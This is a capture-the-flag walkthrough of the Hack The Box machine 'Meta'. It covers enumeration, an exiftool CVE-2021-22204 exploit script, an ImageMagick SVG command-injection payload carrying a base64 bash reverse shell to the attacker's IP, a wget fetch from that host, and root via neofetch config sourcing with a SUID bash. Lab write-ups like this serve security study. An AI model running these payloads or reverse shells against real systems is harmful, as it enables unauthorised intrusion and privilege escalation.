Hack The Box - Meta

000_info_card

Meta is a medium rated machine on HackTheBox created by Nauten. For the user part we will abuse a CVE in exiftool to obtain a reverse shell on the machine. This will be followed up by another CVE inside ImageMagick which will give us a shell as another user. To escalate to root we will modify a config file for neofetch which we are able to run using sudo.

User

As usual we start our enumeration with a nmap scan against all ports followed by a script and version detection scan against the open ones to get an initial overview of the attack surface.

Nmap

All ports

1
2
3
4
5
6
7
8
9
10
$ sudo nmap -p- -n -T4 10.129.166.252
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-22 22:40 CET
Nmap scan report for 10.129.166.252
Host is up (0.027s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http

Nmap done: 1 IP address (1 host up) scanned in 529.64 seconds

Script and version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ sudo nmap -sC -sV -p22,80 -n 10.129.166.252
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-22 22:52 CET
Nmap scan report for 10.129.166.252
Host is up (0.029s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA)
|   256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
|_  256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
80/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://artcorp.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.73 seconds

Exfitool

The nmap scan leaks the hostname artcorp.htb so we add it to our /etc/hosts. Opening the page up in our browser it looks like a completly static webpage without much functionality.

005_artcorp_home

Checking for additional vhosts using ffuf we are able to find dev01.artcorp.htb which we also add to our /etc/hosts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.artcorp.htb' -u http://10.129.166.252 -fs 0

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.166.252
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.artcorp.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 0
________________________________________________

dev01                   [Status: 200, Size: 247, Words: 16, Lines: 10]

Going there we see a development page with only one application available.

010_dev_home

Clicking on MetaView there is a file upload form which tells us to upload an image to display metadata.

015_dev_upload

Uploading a test jpg the output looks like straight from exiftool.

020_exiftool_out

There has been a recent CVE(CVE-2021-22204)with remote code execution in exiftool. Using this PoC where we only have to adjust our ip address to tun0 and the port to where we want to catch the reverse shell we can generate an image that sends a python reverse shell back to our machine.

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/env python3

import base64
import subprocess

ip = '10.10.14.73'
port = '7575'

payload = b"(metadata \"\c${use MIME::Base64;eval(decode_base64('"


payload = payload + base64.b64encode( f"use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in({port},inet_aton('{ip}'))));".encode() )

payload = payload + b"'))};\")"


payload_file = open('payload', 'w')
payload_file.write(payload.decode('utf-8'))
payload_file.close()


subprocess.run(['bzz', 'payload', 'payload.bzz'])
subprocess.run(['djvumake', 'exploit.djvu', "INFO=1,1", 'BGjp=/dev/null', 'ANTz=payload.bzz'])
subprocess.run(['exiftool', '-config', 'configfile', '-HasselbladExif<=exploit.djvu', 'image.jpg'])

Running the script the image is getting updated with the payload.

1
2
$ python3 exploit.py
    1 image files updated

Now we just have to set up a listener on the port we specified and upload the generated image to the website.

1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575

025_upload_image

After we click the upload button the page hangs and we get a connection back on our ncat listener as www-data which we upgrade using python and fix the terminal size.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.166.252.
Ncat: Connection from 10.129.166.252:43968.
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ export TERM=xterm
export TERM=xterm
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ ^Z
[1]  + 43617 suspended  nc -lnvp 7575
$ stty raw -echo;fg
[1]  + 43617 continued  nc -lnvp 7575

www-data@meta:/var/www/dev01.artcorp.htb/metaview$

ImageMagick

Taking a look around on the system and monitoring for running processes there seems to be a cronjob being run by the user thomas who has the uid of 1000.

1
2
3
2022/01/22 17:13:01 CMD: UID=0    PID=1441   | /usr/sbin/CRON -f
2022/01/22 17:13:01 CMD: UID=1000 PID=1442   | /bin/bash /usr/local/bin/convert_images.sh
2022/01/22 17:13:01 CMD: UID=1000 PID=1444   | pkill mogrify

Checking the script it cd’s into the directory /var/www/dev01.artcorp.htb/convert_images and then calls /usr/local/bin/mogrify on all files machting *.* with an output format of png.

/usr/local/bin/convert_images.sh

1
2
3
#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify

Taking a closer look at the mogrify it is actually a symlink to magick which is part of ImageMagick.

1
2
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ ls -la /usr/local/bin/mogrify
lrwxrwxrwx 1 root root 6 Aug 29 15:59 /usr/local/bin/mogrify -> magick

To check for possible CVE’s in ImageMagick we need the version number first.

1
2
3
4
5
6
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ mogrify --version
Version: ImageMagick 7.0.10-36 Q16 x86_64 2021-08-29 https://imagemagick.org
Copyright: © 1999-2020 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): fontconfig freetype jng jpeg png x xml zlib

Looking the version up on google we are able to find a PoC which should work with the installed version of ImageMagick. The PoC abuses the the authentication mechanism for password protected PDF’s to pass additional shell commands. To abuse this we first we generate a base64 encoded reverse shell payload.

1
2
$ echo -n 'bash -c "bash -i >&/dev/tcp/10.10.14.73/7575 0>&1"' | base64
YmFzaCAtYyAiYmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjczLzc1NzUgMD4mMSI=

We then take the poc.svg from the blogpost and exchange the payload with our reverse shell.

poc.svg

1
2
3
4
5
6
7
8
9
<image authenticate='ff" `echo -n YmFzaCAtYyAiYmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjczLzc1NzUgMD4mMSI= | base64 -d | bash`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

All we have to do now is to set up a ncat listener and to drop the file in the /var/www/dev01.artcorp.htb/convert_images on the target machine.

1
2
3
4
nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:757
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
www-data@meta:/var/www/dev01.artcorp.htb/convert_images$ wget 10.10.14.73/poc.svg -O poc.svg
--2022-01-22 17:18:46--  http://10.10.14.73/poc.svg
Connecting to 10.10.14.73:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 475 [image/svg+xml]
Saving to: ‘poc.svg’

poc.svg                                                     100%[==========================================================================================================================================>]     475  --.-KB/s    in 0s

2022-01-22 17:18:46 (55.3 MB/s) - ‘poc.svg’ saved [475/475]

www-data@meta:/var/www/dev01.artcorp.htb/convert_images$ ls -la
total 12
drwxrwxr-x 2 root     www-data 4096 Jan 22 17:18 .
drwxr-xr-x 4 root     root     4096 Oct 18 14:27 ..
-rw-r--r-- 1 www-data www-data  475 Jan 22 15:08 poc.svg

After some time we get a connection back as thomas and are able to read the user flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.166.252.
Ncat: Connection from 10.129.166.252:43978.
bash: cannot set terminal process group (1533): Inappropriate ioctl for device
bash: no job control in this shell
thomas@meta:/var/www/dev01.artcorp.htb/convert_images$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<ges$ python3 -c 'import pty;pty.spawn("/bin/bash")'
thomas@meta:/var/www/dev01.artcorp.htb/convert_images$ export TERM=xterm
export TERM=xterm
thomas@meta:/var/www/dev01.artcorp.htb/convert_images$ ^Z
[1]  + 45412 suspended  nc -lnvp 7575
$ stty raw -echo;fg
[1]  + 45412 continued  nc -lnvp 7575
                                                       ^C
thomas@meta:/var/www/dev01.artcorp.htb/convert_images$ stty rows 57 cols 239
thomas@meta:/var/www/dev01.artcorp.htb/convert_images$ wc -c ~/user.txt
33 /home/thomas/user.txt

Root

Checking for sudo permission thomas is able to run /usr/bin/neofetch as the root user. An interesting point here is the env_keep+=XDG_CONFIG_HOME flag for the sudoers entry. env_keep means that this environment variable will not be reset when calling sudo even though env_reset is present aswell.

1
2
3
4
5
6
thomas@meta:/var/www/dev01.artcorp.htb/convert_images$ sudo -l
Matching Defaults entries for thomas on meta:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XDG_CONFIG_HOME

User thomas may run the following commands on meta:
    (root) NOPASSWD: /usr/bin/neofetch \"\"

To see what we can do with this we can look for the variable in the source code of neofetch. The variable is used to declare the configuration directory of neovim. The interesting thing here is that the configuration file for neoftech get’s sourced. This means that anything we put into the configuration file will be eventually executed setting the XDG_CONFIG_HOME.

/usr/bin/neofetch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env bash
# vim: noai:ts=4:sw=4:expandtab
# shellcheck source=/dev/null
# shellcheck disable=2009
...[snip]...
version="6.0.0"

bash_version="${BASH_VERSION/.*}"
sys_locale="${LANG:-C}"
XDG_CONFIG_HOME="${XDG_CONFIG_HOME:-${HOME}/.config}"
PATH="${PATH}:/usr/xpg4/bin:/usr/sbin:/sbin:/usr/etc:/usr/libexec"

...[snip]...

get_user_config() {
    mkdir -p "${XDG_CONFIG_HOME}/neofetch/"

    # --config /path/to/config.conf
    if [[ -f "$config_file" ]]; then
        source "$config_file"
        err "Config: Sourced user config. (${config_file})"
        return

    elif [[ -f "${XDG_CONFIG_HOME}/neofetch/config.conf" ]]; then
        source "${XDG_CONFIG_HOME}/neofetch/config.conf"
        err "Config: Sourced user config.    (${XDG_CONFIG_HOME}/neofetch/config.conf)"

    elif [[ -f "${XDG_CONFIG_HOME}/neofetch/config" ]]; then
        source "${XDG_CONFIG_HOME}/neofetch/config"
        err "Config: Sourced user config.    (${XDG_CONFIG_HOME}/neofetch/config)"

    else
        config_file="${XDG_CONFIG_HOME}/neofetch/config.conf"

        # The config file doesn't exist, create it.
        printf '%s\n' "$config" > "$config_file"
    fi
}

...[snip]...

dynamic_prompt() {
    [[ $image_backend == off ]]   && { printf '\n'; return; }
    [[ $image_backend != ascii ]] && ((lines=(height + yoffset) / font_height + 1))
    [[ $image_backend == w3m ]] && ((lines=lines + padding / font_height + 1))

--
    [[ "$*" != *--config* ]] && get_user_config
...[snip]...

To abuse this we can simply append a command setting the suid bit on bash to the config file, export the XDG_CONFIG_HOME variable and run neofetch with sudo. Finally we can use the -p flag on bash to keep the suid permissions on our modified bash and add the root flag to our collection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
thomas@meta:/var/www/dev01.artcorp.htb/convert_images$ echo 'chmod +s /bin/bash' >> /home/thomas/.config/neofetch/config.conf; export XDG_CONFIG_HOME=/home/thomas/.config/; sudo /usr/bin/neofetch; bash -p
       _,met$$$$$gg.          root@meta
    ,g$$$$$$$$$$$$$$$P.       ---------
  ,g$$P"     """Y$$.".        OS: Debian GNU/Linux 10 (buster) x86_64
 ,$$P'              `$$$.     Host: VMware Virtual Platform None
',$$P       ,ggs.     `$$b:   Kernel: 4.19.0-17-amd64
`d$$'     ,$P"'   .    $$$    Uptime: 52 mins
 $$P      d$'     ,    $$P    Packages: 495 (dpkg)
 $$:      $$.   -    ,d$$'    Shell: bash 5.0.3
 $$;      Y$b._   _,d$P'      CPU: Intel Xeon Gold 5218 (2) @ 2.294GHz
 Y$$.    `.`"Y$$$$P"'         GPU: VMware SVGA II Adapter
 `$$b      "-.__              Memory: 154MiB / 1994MiB
  `Y$$
   `Y$$.
     `$$b.
       `Y$$b.
          `"Y$b._
              `"""

bash-5.0# id
uid=1000(thomas) gid=1000(thomas) euid=0(root) egid=0(root) groups=0(root),1000(thomas)
bash-5.0# wc -c /root/root.txt
33 /root/root.txt